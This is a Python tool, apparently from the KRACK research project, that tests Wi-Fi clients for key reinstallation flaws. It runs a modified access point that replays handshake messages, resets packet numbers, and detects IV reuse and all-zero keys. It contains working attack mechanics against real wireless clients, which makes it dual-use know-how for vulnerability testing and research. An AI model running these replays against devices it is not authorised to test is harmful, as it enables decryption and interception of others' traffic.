krack-test-client.py 28 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663
  1. #!/usr/bin/env python3
  2. # Tests for key reinstallation vulnerabilities in Wi-Fi clients
  3. # Copyright (c) 2017-2021, Mathy Vanhoef <Mathy.Vanhoef@cs.kuleuven.be>
  4. #
  5. # This code may be distributed under the terms of the BSD license.
  6. # See README for more details.
  7. import logging
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. from scapy.all import *
  10. import libwifi
  11. from libwifi import *
  12. import sys, socket, struct, time, subprocess, atexit, select, os.path
  13. from wpaspy import Ctrl
  14. warned_hardware_decryption = False
  15. # Concrete TODOs:
  16. # 0. Option to send plaintext retransmissions of message 3 (this is now easy to do)
  17. # 1. More reliable group key high RSC installation test in the 4-way HS (see below)
  18. # 2. Test for unicast replay protection
  19. # 3. Retransmit the handshake messages?
  20. # 4. --group --gtkinit is a bit unreliable. Perhaps due to race condition between
  21. # install the group key and sending the broadcast ARP request?
  22. # 5. How are we sure the broadcast ARP indeed using a PN=1? We should monitor
  23. # this interface and throw an error if there is other traffic!
  24. # TODOs:
  25. # - Always mention 4-way handshake attack test (normal, tptk, tptk-rand)
  26. # - Stop testing a client even when we think it's patched?
  27. # - The --gtkinit with the 4-way handshake is very sensitive to packet loss
  28. # - Add an option to test replays of unicast traffic
  29. # - Also send replayed broadcast using a PN of 2 to avoid edge cases where
  30. # the client may always reject PNs of zero or 1.
  31. # Futute work:
  32. # - If the client installs an all-zero key, we cannot reliably test the group key handshake
  33. # - Automatically execute all relevant tests in order
  34. # - Force client to request a new IP address when connecting
  35. # - More reliable group key reinstall test: install very high RSC, then install a zero one.
  36. # This avoids constantly having to execute a new 4-way handshake for example.
  37. # After how many seconds a new message 3, or new group key message 1, is sent.
  38. HANDSHAKE_TRANSMIT_INTERVAL = 2
  39. #### Utility Commands ####
  40. def hostapd_clear_messages(hostapd_ctrl):
  41. # Clear old replies and messages from the hostapd control interface
  42. while hostapd_ctrl.pending():
  43. hostapd_ctrl.recv()
  44. def hostapd_command(hostapd_ctrl, cmd):
  45. hostapd_clear_messages(hostapd_ctrl)
  46. rval = hostapd_ctrl.request(cmd)
  47. if "UNKNOWN COMMAND" in rval:
  48. log(ERROR, "Hostapd did not recognize the command %s. Did you (re)compile hostapd?" % cmd.split()[0])
  49. quit(1)
  50. elif "FAIL" in rval:
  51. log(ERROR, "Failed to execute command %s" % cmd)
  52. quit(1)
  53. return rval
  54. #### Main Testing Code ####
  55. class TestOptions():
  56. ReplayBroadcast, ReplayUnicast, Fourway, Grouphs = range(4)
  57. TptkNone, TptkReplay, TptkRand = range(3)
  58. def __init__(self, variant=Fourway):
  59. self.variant = variant
  60. # Additional options for Fourway tests
  61. self.tptk = TestOptions.TptkNone
  62. # Extra option for Fourway and Grouphs tests
  63. self.gtkinit = False
  64. class ClientState():
  65. UNKNOWN, VULNERABLE, PATCHED = range(3)
  66. IDLE, STARTED, GOT_CANARY, FINISHED = range(4)
  67. def __init__(self, clientmac, options):
  68. self.mac = clientmac
  69. self.options = options
  70. self.TK = None
  71. self.vuln_4way = ClientState.UNKNOWN
  72. self.vuln_bcast = ClientState.UNKNOWN
  73. self.ivs = IvCollection()
  74. self.pairkey_sent_time_prev_iv = None
  75. self.pairkey_intervals_no_iv_reuse = 0
  76. self.broadcast_reset()
  77. def broadcast_reset(self):
  78. self.broadcast_state = ClientState.IDLE
  79. self.broadcast_prev_canary_time = 0
  80. self.broadcast_num_canaries_received = -1 # -1 because the first broadcast ARP requests are still valid
  81. self.broadcast_requests_sent = -1 # -1 because the first broadcast ARP requests are still valid
  82. self.broadcast_patched_intervals = 0
  83. def get_encryption_key(self, hostapd_ctrl):
  84. if self.TK is None:
  85. # Contact our modified Hostapd instance to request the pairwise key
  86. response = hostapd_command(hostapd_ctrl, "GET_TK " + self.mac)
  87. if not "FAIL" in response:
  88. self.TK = bytes.fromhex(response.strip())
  89. return self.TK
  90. def decrypt(self, p, hostapd_ctrl):
  91. payload = get_ccmp_payload(p)
  92. if payload.startswith(b"\xAA\xAA\x03\x00\x00\x00"):
  93. # On some kernels, the virtual interface associated to the real AP interface will return
  94. # frames where the payload is already decrypted (this happens when hardware decryption is
  95. # used). So if the payload seems decrypted, just extract the full plaintext from the frame.
  96. plaintext = LLC(payload)
  97. else:
  98. key = self.get_encryption_key(hostapd_ctrl)
  99. plaintext = decrypt_ccmp(p, key)
  100. # If it still fails, try an all-zero key
  101. if plaintext == None:
  102. plaintext = decrypt_ccmp(p, b"\x00" * 16)
  103. # No need for the whole packet, just the plaintext payload
  104. if plaintext != None:
  105. plaintext = plaintext[LLC]
  106. return plaintext
  107. def track_used_iv(self, p):
  108. return self.ivs.track_used_iv(p)
  109. def is_iv_reused(self, p):
  110. return self.ivs.is_iv_reused(p)
  111. def check_pairwise_reinstall(self, p):
  112. """Inspect whether the IV is reused, or whether the client seem to be patched"""
  113. # If this is gaurenteed IV reuse (and not just a benign retransmission), mark the client as vulnerable
  114. if self.ivs.is_iv_reused(p):
  115. if self.vuln_4way != ClientState.VULNERABLE:
  116. iv = dot11_get_iv(p)
  117. seq = dot11_get_seqnum(p)
  118. log(WARNING, ("%s: IV reuse detected (IV=%d, seq=%d). " +
  119. "Client reinstalls the pairwise key in the 4-way handshake (this is bad)") % (self.mac, iv, seq))
  120. self.vuln_4way = ClientState.VULNERABLE
  121. # If it's a higher IV than all previous ones, try to check if the client seems patched
  122. elif self.vuln_4way == ClientState.UNKNOWN and self.ivs.is_new_iv(p):
  123. # Save how many intervals we received a data packet without IV reset. Use twice the
  124. # transmission interval of message 3, in case one message 3 is lost due to noise.
  125. if self.pairkey_sent_time_prev_iv is None:
  126. self.pairkey_sent_time_prev_iv = p.time
  127. elif self.pairkey_sent_time_prev_iv + 2 * HANDSHAKE_TRANSMIT_INTERVAL + 1 <= p.time:
  128. self.pairkey_intervals_no_iv_reuse += 1
  129. self.pairkey_sent_time_prev_iv = p.time
  130. log(DEBUG, "%s: no pairwise IV resets seem to have occured for one interval" % self.mac)
  131. # If during several intervals all IV reset attempts failed, the client is likely patched.
  132. # We wait for enough such intervals to occur, to avoid getting a wrong result.
  133. if self.pairkey_intervals_no_iv_reuse >= 5 and self.vuln_4way == ClientState.UNKNOWN:
  134. self.vuln_4way = ClientState.PATCHED
  135. # Be sure to clarify *which* type of attack failed (to remind user to test others attacks as well)
  136. msg = "%s: client DOESN'T reinstall the pairwise key in the 4-way handshake (this is good)"
  137. if self.options.tptk == TestOptions.TptkNone:
  138. msg += " (used standard attack)"
  139. elif self.options.tptk == TestOptions.TptkReplay:
  140. msg += " (used TPTK attack)"
  141. elif self.options.tptk == TestOptions.TptkRand:
  142. msg += " (used TPTK-RAND attack)"
  143. log(INFO, (msg + ".") % self.mac, color="green")
  144. def mark_allzero_key(self, p):
  145. if self.vuln_4way != ClientState.VULNERABLE:
  146. iv = dot11_get_iv(p)
  147. seq = dot11_get_seqnum(p)
  148. log(WARNING, ("%s: usage of all-zero key detected (IV=%d, seq=%d). " +
  149. "Client (re)installs an all-zero key in the 4-way handshake (this is very bad).") % (self.mac, iv, seq))
  150. log(WARNING, "%s: !!! Other tests are unreliable due to all-zero key usage, please fix this vulnerability first !!!" % self.mac, color="red")
  151. self.vuln_4way = ClientState.VULNERABLE
  152. def broadcast_print_patched(self):
  153. if self.options.variant in [TestOptions.Fourway, TestOptions.Grouphs]:
  154. # TODO: Mention which variant of the 4-way handshake test was used
  155. hstype = "group key" if self.options.variant == TestOptions.Grouphs else "4-way"
  156. if self.options.gtkinit:
  157. log(INFO, "%s: Client installs the group key in the %s handshake with the given replay counter (this is good)" % (self.mac, hstype), color="green")
  158. else:
  159. log(INFO, "%s: Client DOESN'T reinstall the group key in the %s handshake (this is good)" % (self.mac, hstype), color="green")
  160. if self.options.variant == TestOptions.ReplayBroadcast:
  161. log(INFO, "%s: Client DOESN'T accept replayed broadcast frames (this is good)" % self.mac, color="green")
  162. def broadcast_print_vulnerable(self):
  163. if self.options.variant in [TestOptions.Fourway, TestOptions.Grouphs]:
  164. hstype = "group key" if self.options.variant == TestOptions.Grouphs else "4-way"
  165. if self.options.gtkinit:
  166. log(WARNING, "%s: Client always installs the group key in the %s handshake with a zero replay counter (this is bad)." % (self.mac, hstype))
  167. else:
  168. log(WARNING, "%s: Client reinstalls the group key in the %s handshake (this is bad)." % (self.mac, hstype))
  169. log(WARNING, " Or client accepts replayed broadcast frames (see --replay-broadcast).")
  170. if self.options.variant == TestOptions.ReplayBroadcast:
  171. log(WARNING, "%s: Client accepts replayed broadcast frames (this is bad)." % self.mac)
  172. log(WARNING, " Fix this before testing for group key (re)installations!")
  173. def broadcast_process_reply(self, p):
  174. """Handle replies to the replayed ARP broadcast request (which reuses an IV)"""
  175. # Must be testing this client, and must not be a benign retransmission
  176. if not self.broadcast_state in [ClientState.STARTED, ClientState.GOT_CANARY]: return
  177. if self.broadcast_prev_canary_time + 1 > p.time: return
  178. self.broadcast_num_canaries_received += 1
  179. log(DEBUG, "%s: received %d replies to the replayed broadcast ARP requests" % (self.mac, self.broadcast_num_canaries_received))
  180. # We wait for several replies before marking the client as vulnerable, because
  181. # the first few broadcast ARP requests still use a valid (not yet used) IV.
  182. if self.broadcast_num_canaries_received >= 5:
  183. assert self.vuln_bcast != ClientState.VULNERABLE
  184. self.vuln_bcast = ClientState.VULNERABLE
  185. self.broadcast_state = ClientState.FINISHED
  186. self.broadcast_print_vulnerable()
  187. # Remember that we got a reply this interval (see broadcast_check_replies to detect patched clients)
  188. else:
  189. self.broadcast_state = ClientState.GOT_CANARY
  190. self.broadcast_prev_canary_time = p.time
  191. def broadcast_check_replies(self):
  192. """Track when we send broadcast ARP requests, and determine if a client seems patched"""
  193. if self.broadcast_state == ClientState.IDLE:
  194. return
  195. if self.broadcast_requests_sent == 4:
  196. # We sent four broadcast ARP requests, and got at least one got a reply. This indicates the client is vulnerable.
  197. if self.broadcast_state == ClientState.GOT_CANARY:
  198. log(DEBUG, "%s: got a reply to broadcast ARPs during this interval" % self.mac)
  199. self.broadcast_state = ClientState.STARTED
  200. # We sent four broadcast ARP requests, and didn't get a reply to any. This indicates the client is patched.
  201. elif self.broadcast_state == ClientState.STARTED:
  202. self.broadcast_patched_intervals += 1
  203. log(DEBUG, "%s: didn't get reply received to broadcast ARPs during this interval" % self.mac)
  204. self.broadcast_state = ClientState.STARTED
  205. self.broadcast_requests_sent = 0
  206. # If the client appears secure for several intervals (see above), it's likely patched
  207. if self.broadcast_patched_intervals >= 5 and self.vuln_bcast == ClientState.UNKNOWN:
  208. self.vuln_bcast = ClientState.PATCHED
  209. self.broadcast_state = ClientState.FINISHED
  210. self.broadcast_print_patched()
  211. class KRAckAttackClient():
  212. def __init__(self):
  213. # Parse hostapd.conf
  214. self.script_path = os.path.dirname(os.path.realpath(__file__))
  215. try:
  216. interface = hostapd_read_config(os.path.join(self.script_path, "hostapd.conf"))
  217. except Exception as ex:
  218. log(ERROR, "Failed to parse the hostapd.conf config file")
  219. raise
  220. if not interface:
  221. log(ERROR, 'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".')
  222. quit(1)
  223. # Set other variables
  224. self.nic_iface = interface
  225. self.nic_mon = ("mon" + interface)[:15]
  226. self.options = None
  227. try:
  228. self.apmac = scapy.arch.get_if_hwaddr(interface)
  229. except:
  230. log(ERROR, 'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".' % interface)
  231. raise
  232. self.sock_mon = None
  233. self.sock_eth = None
  234. self.hostapd = None
  235. self.hostapd_ctrl = None
  236. self.dhcp = None
  237. self.broadcast_sender_ip = None
  238. self.broadcast_arp_sock = None
  239. self.clients = dict()
  240. def reset_client_info(self, clientmac):
  241. if clientmac in self.dhcp.leases:
  242. self.dhcp.remove_client(clientmac)
  243. log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
  244. if clientmac in self.clients:
  245. del self.clients[clientmac]
  246. log(DEBUG, "%s: Removing ClientState object" % clientmac)
  247. def handle_replay(self, p):
  248. """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This
  249. function processes these frames manually so we can still test reinstallations of the group key."""
  250. if not dot11_is_encrypted_data(p): return
  251. # Reconstruct Ethernet header
  252. clientmac = p.addr2
  253. header = Ether(dst=self.apmac, src=clientmac)
  254. header.time = p.time
  255. # Decrypt the Wi-Fi frame
  256. client = self.clients[clientmac]
  257. plaintext = client.decrypt(p, self.hostapd_ctrl)
  258. if plaintext == None:
  259. return
  260. if not SNAP in plaintext:
  261. log(WARNING, "No SNAP layer in decrypted packet {}".format(plaintext))
  262. return None
  263. # Now process the packet as if it were a valid (non-replayed) one
  264. decap = header/plaintext[SNAP].payload
  265. self.process_eth_rx(decap)
  266. def check_hardware_encryption(self, p):
  267. global warned_hardware_decryption
  268. # Check for hardware decryption usage that prevents detection of IV reuse. The utility
  269. # function get_ccmp_payload was made so that it returns the payload after an extended IV.
  270. # Basically this script works if the plaintext starts at `get_ccmp_payload`, but if the
  271. # plaintext starts at other locations, it's unknown what the layout of the frame is. In
  272. # that case we should kill the script.
  273. payload = get_ccmp_payload(p)
  274. if dot11_is_encrypted_data(p) and payload != None and b"\xAA\xAA\x03\x00\x00\x00" in raw(p):
  275. if payload.startswith(b"\xAA\xAA\x03\x00\x00\x00"):
  276. if not warned_hardware_decryption:
  277. # - With the ath9k_htc it was not possible to detect the usage of an all-zero key
  278. # when using hardware decryption. It seems as if the hardware tries decryption,
  279. # thereby scrambling the contect of the frame, and then sees that decryption failed.
  280. # This means userspace doesn't receive the original frame, but a frame where the
  281. # (encrypted) data is scrambled.
  282. # - The ath9k_htc doesn't reset the (group) IV when installing a new key. this means
  283. # it will always think a device reinstalls the group key, because the ath9k_htc
  284. # will always use an incremented IV when though we reset the group key. We also
  285. # can't seem to detect this in userspace because the hardware may override the IV?
  286. log(WARNING, "Hardware decryption detected! Attemping to still detect IV reuse, but this is unreliable.")
  287. log(ERROR, "!!! Ideally you disable hardware decryption or use a different network card !!!")
  288. log(WARNING, "E.g., detecting all-zero key use may currently be unreliable, and with some network")
  289. log(WARNING, " cards key reinstallations cannot be detected at all currently...")
  290. warned_hardware_decryption = True
  291. else:
  292. # Whether an IV is included may depend on the direction of the packet. For instance,
  293. # with the "Intel Tiger Lake PCH CNVi WiFi" there's no IV included in transmitted frames,
  294. # but the IV *is* included in received frames.
  295. log(ERROR, "Hardware decryption seems to be dropping the IV, meaning we cannot detect key reinstallations.")
  296. log(ERROR, "Try to disable hardware decryption, use a different network card, or report this as a bug.")
  297. log(WARNING, "Frame causing the issue: {} with raw data being {}".format(repr(p), p))
  298. quit(1)
  299. def handle_mon_rx(self):
  300. p = self.sock_mon.recv()
  301. if p == None: return
  302. if p.type == 1: return
  303. # The first bit in FCfield is set if the frames is "to-DS"
  304. clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1)
  305. if apmac != self.apmac: return None
  306. # Reset info about disconnected clients
  307. if Dot11AssoReq in p or Dot11Deauth in p or Dot11Disas in p:
  308. self.reset_client_info(clientmac)
  309. # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel
  310. elif p.addr1 == self.apmac and dot11_is_encrypted_data(p):
  311. self.check_hardware_encryption(p)
  312. if not clientmac in self.clients:
  313. self.clients[clientmac] = ClientState(clientmac, options=options)
  314. client = self.clients[clientmac]
  315. iv = dot11_get_iv(p)
  316. log(DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p)))
  317. if decrypt_ccmp(p, b"\x00" * 16) != None:
  318. client.mark_allzero_key(p)
  319. if self.options.variant == TestOptions.Fourway and not self.options.gtkinit:
  320. client.check_pairwise_reinstall(p)
  321. if client.is_iv_reused(p):
  322. self.handle_replay(p)
  323. client.track_used_iv(p)
  324. def process_eth_rx(self, p):
  325. self.dhcp.reply(p)
  326. self.broadcast_arp_sock.reply(p)
  327. clientmac = p[Ether].src
  328. if not clientmac in self.clients: return
  329. client = self.clients[clientmac]
  330. if ARP in p and p[ARP].pdst == self.broadcast_sender_ip:
  331. client.broadcast_process_reply(p)
  332. def handle_eth_rx(self):
  333. p = self.sock_eth.recv()
  334. if p == None or not Ether in p: return
  335. self.process_eth_rx(p)
  336. def broadcast_send_request(self, client):
  337. clientip = self.dhcp.leases[client.mac]
  338. # Print a message when we start testing the client --- XXX this should be in the client?
  339. if client.broadcast_state == ClientState.IDLE:
  340. hstype = "group key" if self.options.variant == TestOptions.Grouphs else "4-way"
  341. log(STATUS, "%s: client has IP address -> now sending replayed broadcast ARP packets" % client.mac)
  342. client.broadcast_state = ClientState.STARTED
  343. # Send a new handshake message when testing the group key handshake
  344. if self.options.variant == TestOptions.Grouphs:
  345. cmd = "RESEND_GROUP_M1 " + client.mac
  346. cmd += "maxrsc" if self.options.gtkinit else ""
  347. hostapd_command(self.hostapd_ctrl, cmd)
  348. # Send a replayed broadcast ARP request to the client
  349. request = Ether(src=self.apmac, dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, hwsrc=self.apmac, psrc=self.broadcast_sender_ip, pdst=clientip)
  350. self.sock_eth.send(request)
  351. client.broadcast_requests_sent += 1
  352. log(INFO, "%s: sending broadcast ARP to %s from %s (sent %d ARPs this interval)" % (client.mac,
  353. clientip, self.broadcast_sender_ip, client.broadcast_requests_sent))
  354. def experimental_test_igtk_installation(self):
  355. """To test if the IGTK is installed using the given replay counter"""
  356. # 1. Set ieee80211w=2 in hostapd.conf
  357. # 2. Run this script using --gtkinit so a new group key is generated before calling this function
  358. # 3. Install the new IGTK using a very high given replay counter
  359. hostapd_command(self.hostapd_ctrl, "RESEND_GROUP_M1 %s maxrsc" % client.mac)
  360. time.sleep(1)
  361. # 4. Now kill the AP
  362. quit(1)
  363. # 5. Hostapd sends a broadcast deauth message. At least iOS will reply using its own
  364. # deauthentication respose if this frame is accepted. Sometimes hostapd doesn't
  365. # send a broadcast deauthentication. Is this when the client is sleeping?
  366. def configure_interfaces(self):
  367. log(STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script.")
  368. # 0. Some users may forget this otherwise
  369. subprocess.check_output(["rfkill", "unblock", "wifi"])
  370. # 1. Remove unused virtual interfaces to start from a clean state
  371. subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  372. # 2. Configure monitor mode on interfaces
  373. subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  374. # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  375. # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
  376. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  377. time.sleep(0.5)
  378. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  379. subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  380. def run(self, options):
  381. self.options = options
  382. self.configure_interfaces()
  383. # Open the patched hostapd instance that carries out tests and let it start
  384. log(STATUS, "Starting hostapd ...")
  385. try:
  386. self.hostapd = subprocess.Popen([
  387. os.path.join(self.script_path, "../hostapd/hostapd"),
  388. os.path.join(self.script_path, "hostapd.conf")]
  389. + sys.argv[1:])
  390. except:
  391. if not os.path.exists("../hostapd/hostapd"):
  392. log(ERROR, "hostapd executable not found. Did you compile hostapd? Use --help param for more info.")
  393. raise
  394. time.sleep(1)
  395. try:
  396. self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
  397. self.hostapd_ctrl.attach()
  398. except:
  399. log(ERROR, "It seems hostapd did not start properly, please inspect its output.")
  400. log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work.")
  401. raise
  402. self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  403. self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
  404. # Let scapy handle DHCP requests
  405. self.dhcp = DHCP_sock(sock=self.sock_eth,
  406. domain='krackattack.com',
  407. pool=Net('192.168.100.0/24'),
  408. network='192.168.100.0/24',
  409. gw='192.168.100.254',
  410. renewal_time=600, lease_time=3600)
  411. # Configure gateway IP: reply to ARP and ping requests
  412. subprocess.check_output(["ifconfig", self.nic_iface, "192.168.100.254"])
  413. # Use a dedicated IP address for our broadcast ARP requests and replies
  414. self.broadcast_sender_ip = self.dhcp.pool.pop()
  415. self.broadcast_arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=self.broadcast_sender_ip, ARP_addr=self.apmac)
  416. log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!", color="green")
  417. # Monitor both the normal interface and virtual monitor interface of the AP
  418. self.next_arp = time.time() + 1
  419. while True:
  420. sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
  421. if self.sock_mon in sel[0]: self.handle_mon_rx()
  422. if self.sock_eth in sel[0]: self.handle_eth_rx()
  423. # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
  424. if time.time() > self.next_arp:
  425. # When testing if the replay counter of the group key is properly installed, always install
  426. # a new group key. Otherwise KRACK patches might interfere with this test.
  427. # Otherwise just reset the replay counter of the current group key.
  428. if self.options.variant in [TestOptions.Fourway, TestOptions.Grouphs] and self.options.gtkinit:
  429. hostapd_command(self.hostapd_ctrl, "RENEW_GTK")
  430. else:
  431. hostapd_command(self.hostapd_ctrl, "RESET_PN FF:FF:FF:FF:FF:FF")
  432. self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
  433. for client in self.clients.values():
  434. #self.experimental_test_igtk_installation()
  435. # 1. Test the 4-way handshake
  436. if self.options.variant == TestOptions.Fourway and self.options.gtkinit and client.vuln_bcast != ClientState.VULNERABLE:
  437. # Execute a new handshake to test stations that don't accept a retransmitted message 3
  438. hostapd_command(self.hostapd_ctrl, "RENEW_PTK " + client.mac)
  439. # TODO: wait untill 4-way handshake completed? And detect failures (it's sensitive to frame losses)?
  440. elif self.options.variant == TestOptions.Fourway and not self.options.gtkinit and client.vuln_4way != ClientState.VULNERABLE:
  441. # First inject a message 1 if requested using the TPTK option
  442. if self.options.tptk == TestOptions.TptkReplay:
  443. hostapd_command(self.hostapd_ctrl, "RESEND_M1 " + client.mac)
  444. elif self.options.tptk == TestOptions.TptkRand:
  445. hostapd_command(self.hostapd_ctrl, "RESEND_M1 " + client.mac + " change-anonce")
  446. # Note that we rely on an encrypted message 4 as reply to detect pairwise key reinstallations reinstallations.
  447. hostapd_command(self.hostapd_ctrl, "RESEND_M3 " + client.mac + (" maxrsc" if self.options.gtkinit else ""))
  448. # 2. Test if broadcast ARP request are accepted by the client. Keep injecting even
  449. # to PATCHED clients (just to be sure they keep rejecting replayed frames).
  450. if self.options.variant in [TestOptions.Fourway, TestOptions.Grouphs, TestOptions.ReplayBroadcast]:
  451. # 2a. Check if we got replies to previous requests (and determine if vulnerable)
  452. client.broadcast_check_replies()
  453. # 2b. Send new broadcast ARP requests (and handshake messages if needed)
  454. if client.vuln_bcast != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
  455. time.sleep(1)
  456. self.broadcast_send_request(client)
  457. def stop(self):
  458. log(STATUS, "Closing hostapd and cleaning up ...")
  459. if self.hostapd:
  460. self.hostapd.terminate()
  461. self.hostapd.wait()
  462. if self.sock_mon: self.sock_mon.close()
  463. if self.sock_eth: self.sock_eth.close()
  464. def cleanup():
  465. attack.stop()
  466. def argv_get_interface():
  467. for i in range(len(sys.argv)):
  468. if not sys.argv[i].startswith("-i"):
  469. continue
  470. if len(sys.argv[i]) > 2:
  471. return sys.argv[i][2:]
  472. else:
  473. return sys.argv[i + 1]
  474. return None
  475. def argv_pop_argument(argument):
  476. if not argument in sys.argv: return False
  477. idx = sys.argv.index(argument)
  478. del sys.argv[idx]
  479. return True
  480. def hostapd_read_config(config):
  481. # Read the config, get the interface name, and verify some settings.
  482. interface = None
  483. with open(config) as fp:
  484. for line in fp.readlines():
  485. line = line.strip()
  486. if line.startswith("interface="):
  487. interface = line.split('=')[1]
  488. elif line.startswith("wpa_pairwise=") or line.startswith("rsn_pairwise"):
  489. if "TKIP" in line:
  490. log(ERROR, "ERROR: We only support tests using CCMP. Only include CCMP in %s config at the following line:" % config)
  491. log(ERROR, " >%s<" % line, showtime=False)
  492. quit(1)
  493. # Parameter -i overrides interface in config.
  494. # FIXME: Display warning when multiple interfaces are used.
  495. if argv_get_interface() is not None:
  496. interface = argv_get_interface()
  497. return interface
  498. def get_expected_scapy_ver():
  499. for line in open("requirements.txt"):
  500. if line.startswith("scapy=="):
  501. return line[7:].strip()
  502. return None
  503. if __name__ == "__main__":
  504. if "--help" in sys.argv or "-h" in sys.argv:
  505. print("\nSee README.md for usage instructions. Accepted parameters are")
  506. print("\n\t" + "\n\t".join(["--replay-broadcast", "--group", "--tptk", "--tptk-rand", "--gtkinit", "--debug"]) + "\n")
  507. quit(1)
  508. # Check if we're using the expected scapy version
  509. expected_ver = get_expected_scapy_ver()
  510. if expected_ver!= None and scapy.VERSION != expected_ver:
  511. log(WARNING, "You are using scapy version {} instead of the expected {}".format(scapy.VERSION, expected_ver))
  512. log(WARNING, "Are you executing the script from inside the correct python virtual environment?")
  513. options = TestOptions()
  514. # Parse the type of test variant to execute
  515. replay_broadcast = argv_pop_argument("--replay-broadcast")
  516. replay_unicast = argv_pop_argument("--replay-unicast")
  517. groupkey = argv_pop_argument("--group")
  518. fourway = argv_pop_argument("--fourway")
  519. if replay_broadcast + replay_unicast + fourway + groupkey > 1:
  520. print("You can only select one argument of out replay-broadcast, replay-unicast, fourway, and group")
  521. quit(1)
  522. if replay_broadcast:
  523. options.variant = TestOptions.ReplayBroadcast
  524. elif replay_unicast:
  525. options.variant = TestOptions.ReplayUnicast
  526. elif groupkey:
  527. options.variant = TestOptions.Grouphs
  528. else:
  529. options.variant = TestOptions.Fourway
  530. # Parse options for the 4-way handshake
  531. tptk = argv_pop_argument("--tptk")
  532. tptk_rand = argv_pop_argument("--tptk-rand")
  533. if tptk + tptk_rand > 1:
  534. print("You can only select one argument of out tptk and tptk-rand")
  535. quit(1)
  536. if tptk:
  537. options.tptk = TestOptions.TptkReplay
  538. elif tptk_rand:
  539. options.tptk = TestOptions.TptkRand
  540. else:
  541. options.tptk = TestOptions.TptkNone
  542. # Parse remaining options
  543. options.gtkinit = argv_pop_argument("--gtkinit")
  544. while argv_pop_argument("--debug"):
  545. change_log_level(-1)
  546. # Now start the tests
  547. attack = KRAckAttackClient()
  548. atexit.register(cleanup)
  549. attack.run(options=options)